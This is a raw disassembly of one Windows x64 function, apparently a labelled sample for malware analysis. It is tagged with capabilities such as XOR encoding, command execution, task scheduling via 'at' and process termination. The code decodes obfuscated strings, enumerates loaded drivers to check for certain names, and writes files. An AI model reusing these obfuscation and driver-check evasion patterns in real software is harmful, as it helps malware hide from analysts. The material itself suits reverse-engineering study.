Function at 0x140024850
Capabilities:
Create thread
Encode data using xor
Execute command
Schedule task via at
Set console window title
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x4fd0]
mov eax, 0x50d0
call fcn.140077360
sub rsp, rax
movaps xmmword [rsp + 0x50c0], xmm6
movaps xmmword [rsp + 0x50b0], xmm7
movaps xmmword [rsp + 0x50a0], xmm8
mov rax, qword [0x140098258]
xor rax, rsp
mov qword [rbp + 0x4f90], rax
mov edx, 0x79
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_Beep]
mov edx, 0x7b
lea ecx, [rdx - 0x4e]
call qword [sym.imp.KERNEL32.dll_Beep]
mov edx, 0x98
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Beep]
mov edx, ntohs
mov ecx, 0x223
call qword [sym.imp.KERNEL32.dll_Beep]
mov edx, 0xa2
mov ecx, 0x1c9
call qword [sym.imp.KERNEL32.dll_Beep]
mov edx, ntohs
mov ecx, 0x1c9
call qword [sym.imp.KERNEL32.dll_Beep]
mov edx, ntohs
mov ecx, Ordinal_217
call qword [sym.imp.KERNEL32.dll_Beep]
mov edx, ntohs
mov ecx, 0x315
call qword [sym.imp.KERNEL32.dll_Beep]
lea rdx, [0x14007c6c8]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_locale_l1_1_0.dll_setlocale]
movups xmm0, xmmword [0x14007c498]
movups xmmword [rbp + 0x690], xmm0
movzx eax, word [0x14007c4a8]
mov word [rbp + 0x6a0], ax
xor esi, esi
lea r14d, [rsi + 5]
lea r15d, [rsi + 0x1f]
mov edi, dword [reloc.WS2_32.dll_accept]
cmp byte [0x14007c4a9], sil
je 0x140024b03
mov r8d, esi
cmp edi, 2
jl 0x140024ac1
movdqa xmm5, xmmword [0x14007c7b0]
movdqa xmm4, xmmword [0x14007c800]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14007c7d0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x694]
mov edx, dword [rsp + 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14007c7e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14007c7e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400249b2
cmp r8d, 0x12
jge 0x140024b03
movsxd rax, r8d
lea r9, [rbp + 0x690]
add r9, rax
nop
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x12
jl 0x140024ad0
lea rcx, [rbp + 0x690]
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
lea r8, [rbp + 0xb0]
mov edx, 0x4000
lea rcx, [rbp + 0x790]
call sub.KERNEL32.dll_K32EnumDeviceDrivers
test eax, eax
je 0x1400260ea
mov eax, dword [rbp + 0xb0]
cmp eax, 0x4000
jae 0x1400260ea
mov r13d, eax
shr r13, 3
test r13, r13
je 0x1400260ea
mov r12, rsi
mov rbx, 0xffffffffffffffff
movabs rdi, 0x1f9aabd0f4d57fd0
movabs r15, 0xd2e7bcb388fb0fbb
movabs r14, 0xa194d9d0e7897fd0
nop dword [rax]
mov r8d, 0x800
lea rdx, [rbp + 0x4790]
mov rcx, qword [rbp + r12*8 + 0x790]
call sub.KERNEL32.dll_K32GetDeviceDriverBaseNameA
test eax, eax
je 0x140024efc
mov qword [rbp + 0xb8], rsi
mov qword [rbp + 0xc8], rsi
mov qword [rbp + 0xd0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xb8], 0
lea rax, [rbp + 0x4790]
mov r8, rbx
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140024bd0
lea rdx, [rbp + 0x4790]
lea rcx, [rbp + 0xb8]
call fcn.1400097a0
nop
mov qword [rsp + 0x30], r15
movabs rax, 0x1f9ad9b59fb61eb8
mov qword [rsp + 0x38], rax
mov qword [rbp + 0x770], r14
mov qword [rbp + 0x778], rdi
movdqa xmm0, xmmword [rsp + 0x30]
pxor xmm0, xmmword [rbp + 0x770]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x30]
mov rax, rbx
nop dword [rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x140024c30
lea rcx, [rbp + 0xb8]
mov r14, qword [rbp + 0xb8]
mov rdi, qword [rbp + 0xd0]
cmp rdi, 0x10
cmovae rcx, r14
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x30]
xor r8d, r8d
mov r15, qword [rbp + 0xc8]
mov rdx, r15
call fcn.14000a680
cmp rax, 0xffffffffffffffff
jne 0x140025cc6
movabs rax, 0xd4f6bc9497fd0b98
mov qword [rsp + 0x50], rax
movabs rax, 0x1f9aabd0f4d57fb7
mov qword [rsp + 0x58], rax
movabs rax, 0xa194d9d0e7897fd0
mov qword [rbp + 0x780], rax
movabs rax, 0x1f9aabd0f4d57fd0
mov qword [rbp + 0x788], rax
movdqa xmm0, xmmword [rsp + 0x50]
pxor xmm0, xmmword [rbp + 0x780]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x50]
mov rax, rbx
nop dword [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x140024ce0
lea rcx, [rbp + 0xb8]
cmp rdi, 0x10
cmovae rcx, r14
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x50]
xor r8d, r8d
mov rdx, r15
call fcn.14000a680
cmp rax, 0xffffffffffffffff
jne 0x1400258b6
movabs rax, 0xa194d9d0e7ef0fbe
mov qword [rsp + 0x70], rax
movabs rax, 0x1f9aabd0f4d57fd0
mov qword [rsp + 0x78], rax
movabs rcx, 0xa194d9d0e7897fd0
mov qword [rbp + 0x750], rcx
mov qword [rbp + 0x758], rax
movdqa xmm0, xmmword [rsp + 0x70]
pxor xmm0, xmmword [rbp + 0x750]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x70]
mov rax, rbx
nop dword [rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x140024d70
lea rcx, [rbp + 0xb8]
cmp rdi, 0x10
cmovae rcx, r14
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x70]
xor r8d, r8d
mov rdx, r15
call fcn.14000a680
cmp rax, 0xffffffffffffffff
jne 0x140025555
movabs rax, 0xc5fd91be86fd1684
mov qword [rbp - 0x80], rax
movabs rax, 0x1f9aabd0f4d57fb5
mov qword [rbp - 0x78], rax
movabs rax, 0xa194d9d0e7897fd0
mov qword [rbp + 0x760], rax
movabs rax, 0x1f9aabd0f4d57fd0
mov qword [rbp + 0x768], rax
movdqa xmm0, xmmword [rbp - 0x80]
pxor xmm0, xmmword [rbp + 0x760]
movdqa xmmword [rbp - 0x80], xmm0
lea rcx, [rbp - 0x80]
mov rax, rbx
nop
inc rax
cmp byte [rcx + rax], 0
jne 0x140024e00
lea rcx, [rbp + 0xb8]
cmp rdi, 0x10
cmovae rcx, r14
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x80]
xor r8d, r8d
mov rdx, r15
call fcn.14000a680
cmp rax, 0xffffffffffffffff
jne 0x1400251f4
movabs rax, 0xfed096a095e81783
mov qword [rsp + 0x60], rax
movabs rax, 0x1f9aabd0f4a30d94
mov qword [rsp + 0x68], rax
movabs rax, 0xa194d9d0e7897fd0
mov qword [rbp + 0x690], rax
movabs rax, 0x1f9aabd0f4d57fd0
mov qword [rbp + 0x698], rax
movdqa xmm0, xmmword [rsp + 0x60]
pxor xmm0, xmmword [rbp + 0x690]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rsp + 0x60]
mov rax, rbx
inc rax
cmp byte [rcx + rax], 0
jne 0x140024e92
lea rcx, [rbp + 0xb8]
cmp rdi, 0x10
cmovae rcx, r14
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x60]
xor r8d, r8d
mov rdx, r15
call fcn.14000a680
cmp rax, 0xffffffffffffffff
jne 0x140024f0d
cmp rdi, 0x10
jb 0x140024ede
lea r8, [rdi + 1]
mov rdx, r14
lea rcx, [rbp + 0xb8]
call fcn.140009c60
movabs r15, 0xd2e7bcb388fb0fbb
movabs r14, 0xa194d9d0e7897fd0
movabs rdi, 0x1f9aabd0f4d57fd0
inc r12
cmp r12, r13
jge 0x1400260da
jmp 0x140024b80
movabs rax, 0xf2b4bca688e41a82
mov qword [rbp + 0x6b0], rax
movabs rax, 0x3fb6ef9f84a71eb8
mov qword [rbp + 0x6b8], rax
movabs rax, 0x6f1400a29e771ab2
mov qword [rbp + 0x6c0], rax
movabs rax, 0xc9dbeb875730ab1
mov qword [rbp + 0x6c8], rax
movabs rax, 0x98ec94b42df613f0
mov qword [rbp + 0x6d0], rax
movabs rax, 0xa116d1f0a94b3ef0
mov qword [rbp + 0x6d8], rax
movabs rax, 0x8bad24f003131ea4
mov qword [rbp + 0x6e0], rax
movabs rax, 0x1a970ffeb4bd5fa2
mov qword [rbp + 0x6e8], rax
movabs r14, 0xa194d9d0e7897fd0
mov qword [rbp + 0x700], r14
movabs rdi, 0x1f9aabd0f4d57fd0
mov qword [rbp + 0x708], rdi
movabs rax, 0x33465d0f1117fd0
mov qword [rbp + 0x710], rax
movabs rax, 0x6bf3d7d0161d7fd0
mov qword [rbp + 0x718], rax
movabs rax, 0xb69ef1d04c997fd0
mov qword [rbp + 0x720], rax
movabs rax, 0xd273a3d0cd257fd0
mov qword [rbp + 0x728], rax
movabs rax, 0xfec25dd077617fd0
mov qword [rbp + 0x730], rax
movabs rax, 0x1a970fd0f7ed7fd0
mov qword [rbp + 0x738], rax
movdqa xmm0, xmmword [rbp + 0x6b0]
pxor xmm0, xmmword [rbp + 0x700]
movdqa xmmword [rbp + 0x6b0], xmm0
movdqa xmm1, xmmword [rbp + 0x710]
pxor xmm1, xmmword [rbp + 0x6c0]
movdqa xmmword [rbp + 0x6c0], xmm1
movdqa xmm0, xmmword [rbp + 0x720]
pxor xmm0, xmmword [rbp + 0x6d0]
movdqa xmmword [rbp + 0x6d0], xmm0
movdqa xmm1, xmmword [rbp + 0x730]
pxor xmm1, xmmword [rbp + 0x6e0]
movdqa xmmword [rbp + 0x6e0], xmm1
lea rdx, [rbp + 0x6b0]
lea rcx, [rbp + 0x90]
call fcn.140008b30
mov rbx, rax
mov qword [rsp + 0x50], rax
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rbp + 0x140]
call sub.VCRUNTIME140.dll_memset
movabs rcx, 0xd5ecadfe94ee10bc
mov qword [rbp - 0x30], rcx
mov qword [rbp - 0x28], rdi
mov qword [rbp + 0x690], r14
mov qword [rbp + 0x698], rdi
movdqa xmm0, xmmword [rbp - 0x30]
pxor xmm0, xmmword [rbp + 0x690]
movdqa xmmword [rbp - 0x30], xmm0
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x36]
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x140]
call fcn.140017c00
nop
cmp qword [rbp + 0x1c8], 0
je 0x140025181
movabs rax, 0x81e6b6a295ec5f8b
mov qword [rbp - 0x20], rax
movabs rax, 0x1f9aabd0d4f85f8d
mov qword [rbp - 0x18], rax
mov qword [rbp + 0x690], r14
mov qword [rbp + 0x698], rdi
movdqa xmm0, xmmword [rbp - 0x20]
pxor xmm0, xmmword [rbp + 0x690]
movdqa xmmword [rbp - 0x20], xmm0
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0x140]
call fcn.140017090
mov rdx, rbx
cmp qword [rbx + 0x18], 0x10
jb 0x140025164
mov rdx, qword [rbx]
mov r8, qword [rbx + 0x10]
mov rcx, rax
call fcn.140017420
lea rdx, [0x1400177f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rax, qword [rbp + 0x140]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x140], rax
mov rax, qword [rbp + 0x140]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x13c], edx
lea rcx, [rbp + 0x148]
call fcn.1400182d0
lea rcx, [rbp + 0x150]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x1e8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rcx, rbx
call fcn.140008ad0
nop
lea rcx, [rbp + 0xb8]
call fcn.140008ad0
jmp 0x1400260cf
movabs rax, 0xf5b4bca482e51a94
mov qword [rbp + 0x6b0], rax
movabs rax, 0x7afec2989ab40bb9
mov qword [rbp + 0x6b8], rax
movabs rax, 0x66460ab694735ffc
mov qword [rbp + 0x6c0], rax
movabs rax, 0x29bb4be637c13f0
mov qword [rbp + 0x6c8], rax
movabs rax, 0xd3fa90bf20b918be
mov qword [rbp + 0x6d0], rax
movabs rax, 0xa053c7be8c0551a2
mov qword [rbp + 0x6d8], rax
movabs rax, 0x87e229a216150cb5
mov qword [rbp + 0x6e0], rax
movabs rax, 0x1ab94c80d79f0abf
mov qword [rbp + 0x6e8], rax
movabs r14, 0xa194d9d0e7897fd0
mov qword [rbp + 0x700], r14
movabs rdi, 0x1f9aabd0f4d57fd0
mov qword [rbp + 0x708], rdi
movabs rax, 0x33465d0f1117fd0
mov qword [rbp + 0x710], rax
movabs rax, 0x6bf3d7d0161d7fd0
mov qword [rbp + 0x718], rax
movabs rax, 0xb69ef1d04c997fd0
mov qword [rbp + 0x720], rax
movabs rax, 0xd273a3d0cd257fd0
mov qword [rbp + 0x728], rax
movabs rax, 0xfec25dd077617fd0
mov qword [rbp + 0x730], rax
movabs rax, 0x1a970fd0f7ed7fd0
mov qword [rbp + 0x738], rax
movdqa xmm0, xmmword [rbp + 0x6b0]
pxor xmm0, xmmword [rbp + 0x700]
movdqa xmmword [rbp + 0x6b0], xmm0
movdqa xmm1, xmmword [rbp + 0x6c0]
pxor xmm1, xmmword [rbp + 0x710]
movdqa xmmword [rbp + 0x6c0], xmm1
movdqa xmm0, xmmword [rbp + 0x720]
pxor xmm0, xmmword [rbp + 0x6d0]
movdqa xmmword [rbp + 0x6d0], xmm0
movdqa xmm1, xmmword [rbp + 0x730]
pxor xmm1, xmmword [rbp + 0x6e0]
movdqa xmmword [rbp + 0x6e0], xmm1
lea rdx, [rbp + 0x6b0]
lea rcx, [rbp + 0x70]
call fcn.140008b30
mov rbx, rax
mov qword [rsp + 0x50], rax
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rbp + 0x250]
call sub.VCRUNTIME140.dll_memset
movabs rcx, 0xd5ecadfe94ee10bc
mov qword [rbp - 0x10], rcx
mov qword [rbp - 8], rdi
mov qword [rbp + 0x690], r14
mov qword [rbp + 0x698], rdi
movdqa xmm0, xmmword [rbp - 0x10]
pxor xmm0, xmmword [rbp + 0x690]
movdqa xmmword [rbp - 0x10], xmm0
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x36]
lea rdx, [rbp - 0x10]
lea rcx, [rbp + 0x250]
call fcn.140017c00
nop
cmp qword [rbp + 0x2d8], 0
je 0x140025465
movabs rax, 0x81e6b6a295ec5f8b
mov qword [rbp], rax
movabs rax, 0x1f9aabd0d4f85f8d
mov qword [rbp + 8], rax
mov qword [rbp + 0x690], r14
mov qword [rbp + 0x698], rdi
movdqa xmm0, xmmword [rbp]
pxor xmm0, xmmword [rbp + 0x690]
movdqa xmmword [rbp], xmm0
lea rdx, [rbp]
lea rcx, [rbp + 0x250]
call fcn.140017090
mov rdx, rbx
cmp qword [rbx + 0x18], 0x10
jb 0x140025448
mov rdx, qword [rbx]
mov r8, qword [rbx + 0x10]
mov rcx, rax
call fcn.140017420
lea rdx, [0x1400177f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rax, qword [rbp + 0x250]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x250], rax
mov rax, qword [rbp + 0x250]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x24c], edx
lea rcx, [rbp + 0x258]
call fcn.1400182d0
lea rcx, [rbp + 0x260]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x2f8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x1400254f4
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x1400254ef
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14002554e
mov rcx, r8
call fcn.14007733c
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], 0
mov rdx, qword [rbp + 0xd0]
cmp rdx, 0x10
jb 0x1400260cf
inc rdx
mov rcx, qword [rbp + 0xb8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400260ca
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400260ca
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
movabs rax, 0xf6b4bca482e51a94
mov qword [rbp + 0x6b0], rax
movabs rax, 0x74e8cab887b00db9
mov qword [rbp + 0x6b8], rax
movabs rax, 0x66460ab694735ffc
mov qword [rbp + 0x6c0], rax
movabs rax, 0x29bb4be637c13f0
mov qword [rbp + 0x6c8], rax
movabs rax, 0xd3fa90bf20b918be
mov qword [rbp + 0x6d0], rax
movabs rax, 0xa053c7be8c0551a2
mov qword [rbp + 0x6d8], rax
movabs rax, 0x87e229a216150cb5
mov qword [rbp + 0x6e0], rax
movabs rax, 0x1ab94c80d79f0abf
mov qword [rbp + 0x6e8], rax
movabs r14, 0xa194d9d0e7897fd0
mov qword [rbp + 0x700], r14
movabs rdi, 0x1f9aabd0f4d57fd0
mov qword [rbp + 0x708], rdi
movabs rax, 0x33465d0f1117fd0
mov qword [rbp + 0x710], rax
movabs rax, 0x6bf3d7d0161d7fd0
mov qword [rbp + 0x718], rax
movabs rax, 0xb69ef1d04c997fd0
mov qword [rbp + 0x720], rax
movabs rax, 0xd273a3d0cd257fd0
mov qword [rbp + 0x728], rax
movabs rax, 0xfec25dd077617fd0
mov qword [rbp + 0x730], rax
movabs rax, 0x1a970fd0f7ed7fd0
mov qword [rbp + 0x738], rax
movdqa xmm0, xmmword [rbp + 0x6b0]
pxor xmm0, xmmword [rbp + 0x700]
movdqa xmmword [rbp + 0x6b0], xmm0
movdqa xmm1, xmmword [rbp + 0x6c0]
pxor xmm1, xmmword [rbp + 0x710]
movdqa xmmword [rbp + 0x6c0], xmm1
movdqa xmm0, xmmword [rbp + 0x6d0]
pxor xmm0, xmmword [rbp + 0x720]
movdqa xmmword [rbp + 0x6d0], xmm0
movdqa xmm1, xmmword [rbp + 0x6e0]
pxor xmm1, xmmword [rbp + 0x730]
movdqa xmmword [rbp + 0x6e0], xmm1
lea rdx, [rbp + 0x6b0]
lea rcx, [rbp + 0x30]
call fcn.140008b30
mov rbx, rax
mov qword [rsp + 0x50], rax
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rbp + 0x360]
call sub.VCRUNTIME140.dll_memset
movabs rcx, 0xd5ecadfe94ee10bc
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdi
mov qword [rbp + 0x690], r14
mov qword [rbp + 0x698], rdi
movdqa xmm0, xmmword [rbp + 0x10]
pxor xmm0, xmmword [rbp + 0x690]
movdqa xmmword [rbp + 0x10], xmm0
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x36]
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x360]
call fcn.140017c00
nop
cmp qword [rbp + 0x3e8], 0
je 0x1400257c6
movabs rax, 0x81e6b6a295ec5f8b
mov qword [rbp + 0x20], rax
movabs rax, 0x1f9aabd0d4f85f8d
mov qword [rbp + 0x28], rax
mov qword [rbp + 0x690], r14
mov qword [rbp + 0x698], rdi
movdqa xmm0, xmmword [rbp + 0x20]
pxor xmm0, xmmword [rbp + 0x690]
movdqa xmmword [rbp + 0x20], xmm0
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x360]
call fcn.140017090
mov rdx, rbx
cmp qword [rbx + 0x18], 0x10
jb 0x1400257a9
mov rdx, qword [rbx]
mov r8, qword [rbx + 0x10]
mov rcx, rax
call fcn.140017420
lea rdx, [0x1400177f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rax, qword [rbp + 0x360]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x360], rax
mov rax, qword [rbp + 0x360]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x35c], edx
lea rcx, [rbp + 0x368]
call fcn.1400182d0
lea rcx, [rbp + 0x370]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x408]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x140025855
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x140025850
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400258af
mov rcx, r8
call fcn.14007733c
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], 0
mov rdx, qword [rbp + 0xd0]
cmp rdx, 0x10
jb 0x1400260cf
inc rdx
mov rcx, qword [rbp + 0xb8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400260ca
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400260ca
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
movabs rax, 0xe9b4bca482e51a94
mov qword [rbp + 0x700], rax
movabs rax, 0x6af8ce94d4852b84
mov qword [rbp + 0x708], rax
movabs rax, 0x665645fc837418b7
mov qword [rbp + 0x710], rax
movabs rax, 0x1e92bbf0736f10b6
mov qword [rbp + 0x718], rax
movabs rax, 0xdabe96be25f11cbe
mov qword [rbp + 0x720], rax
movabs rax, 0x93538da2a8411ebf
mov qword [rbp + 0x728], rax
movabs rax, 0x9fb62eb505411bbe
mov qword [rbp + 0x730], rax
movabs rax, 0x3ae57abf8ecd0ba2
mov qword [rbp + 0x738], rax
movabs rax, 0x31109d0a1873c80
mov qword [rbp + 0x740], rax
movabs rcx, 0xce019bd053757fd0
mov qword [rbp + 0x748], rcx
movabs r14, 0xa194d9d0e7897fd0
mov qword [rbp + 0x6b0], r14
movabs rdi, 0x1f9aabd0f4d57fd0
mov qword [rbp + 0x6b8], rdi
movabs rax, 0x33465d0f1117fd0
mov qword [rbp + 0x6c0], rax
movabs rax, 0x6bf3d7d0161d7fd0
mov qword [rbp + 0x6c8], rax
movabs rax, 0xb69ef1d04c997fd0
mov qword [rbp + 0x6d0], rax
movabs rax, 0xd273a3d0cd257fd0
mov qword [rbp + 0x6d8], rax
movabs rax, 0xfec25dd077617fd0
mov qword [rbp + 0x6e0], rax
movabs rax, 0x1a970fd0f7ed7fd0
mov qword [rbp + 0x6e8], rax
movabs rax, 0x31109d0a1a97fd0
mov qword [rbp + 0x6f0], rax
mov qword [rbp + 0x6f8], rcx
movdqa xmm0, xmmword [rbp + 0x700]
pxor xmm0, xmmword [rbp + 0x6b0]
movdqa xmmword [rbp + 0x700], xmm0
movdqa xmm1, xmmword [rbp + 0x710]
pxor xmm1, xmmword [rbp + 0x6c0]
movdqa xmmword [rbp + 0x710], xmm1
movdqa xmm0, xmmword [rbp + 0x720]
pxor xmm0, xmmword [rbp + 0x6d0]
movdqa xmmword [rbp + 0x720], xmm0
movdqa xmm1, xmmword [rbp + 0x730]
pxor xmm1, xmmword [rbp + 0x6e0]
movdqa xmmword [rbp + 0x730], xmm1
movdqa xmm0, xmmword [rbp + 0x740]
pxor xmm0, xmmword [rbp + 0x6f0]
movdqa xmmword [rbp + 0x740], xmm0
mov qword [rbp + 0xf8], rsi
mov qword [rbp + 0x108], rsi
mov qword [rbp + 0x110], reloc.WS2_32.dll_ntohs
lea rax, [rbp + 0x700]
nop dword [rax + rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x140025aa0
mov r8, rbx
lea rdx, [rbp + 0x700]
lea rcx, [rbp + 0xf8]
call fcn.1400097a0
lea rax, [rbp + 0xf8]
mov qword [rsp + 0x50], rax
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rbp + 0x470]
call sub.VCRUNTIME140.dll_memset
movabs rcx, 0xd5ecadfe94ee10bc
mov qword [rbp - 0x70], rcx
mov qword [rbp - 0x68], rdi
mov qword [rbp + 0x690], r14
mov qword [rbp + 0x698], rdi
movdqa xmm0, xmmword [rbp - 0x70]
pxor xmm0, xmmword [rbp + 0x690]
movdqa xmmword [rbp - 0x70], xmm0
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x36]
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x470]
call fcn.140017c00
nop
cmp qword [rbp + 0x4f8], 0
je 0x140025bc5
movabs rax, 0x81e6b6a295ec5f8b
mov qword [rbp - 0x60], rax
movabs rax, 0x1f9aabd0d4f85f8d
mov qword [rbp - 0x58], rax
mov qword [rbp + 0x690], r14
mov qword [rbp + 0x698], rdi
movdqa xmm0, xmmword [rbp - 0x60]
pxor xmm0, xmmword [rbp + 0x690]
movdqa xmmword [rbp - 0x60], xmm0
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0x470]
call fcn.140017090
lea rdx, [rbp + 0xf8]
cmp qword [rbp + 0x110], 0x10
cmovae rdx, qword [rbp + 0xf8]
mov r8, qword [rbp + 0x108]
mov rcx, rax
call fcn.140017420
lea rdx, [0x1400177f0]
mov rcx, rax
